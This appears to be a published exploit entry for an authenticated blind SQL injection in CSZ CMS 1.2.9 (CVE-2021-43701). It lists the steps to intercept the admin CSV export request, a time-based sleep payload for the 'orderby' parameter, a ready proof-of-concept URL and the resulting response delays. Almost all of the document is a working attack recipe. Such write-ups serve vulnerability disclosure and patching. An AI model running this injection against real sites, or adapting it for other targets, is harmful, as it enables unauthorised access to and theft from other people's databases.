CSZ CMS 1.2.9 SQL Injection

`# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Blind SQL Injection  
(Authenticated)  
# Date: 2021-04-14  
# Exploit Author: Rahad Chowdhury  
# Vendor Homepage: https://www.cszcms.com/  
# Software Link:  
https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.9.zip  
# Version: 1.2.9  
# Tested on: Windows 10, Kali Linux, PHP 7.4.16, Apache 2.4.46  
# CVE: CVE-2021-43701  
  
*Steps to Reproduce:*  
1. First login to your Admin Panel  
2. then go to "General Menu > CSV Export / Import".  
3. open burp site and configure with browser.  
4. then select any "Table Name" > Select "Fields Select" and Select "Sort  
by"  
5. Now click "Export to CSV" and intercept with burp suite  
6. "fieldS[]" or "orderby" parameter is vulnerable. Let's try to inject  
Blind SQL Injection use this query "(select(0)from(select(sleep(10)))a)" in  
"orderby" parameter.  
  
*Proof of Concept:*  
http://127.0.0.1/CSZCMS/admin/export/getcsv/article_db?fieldS%5B%5D=article_db_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV  
  
*Output:*  
By issuing sleep(0) response will be delayed to 0 seconds.  
By issuing sleep(1) response will be delayed to 1 seconds.  
By issuing sleep(5) response will be delayed to 5 seconds.  
By issuing sleep(10) response will be delayed to 10 seconds  
`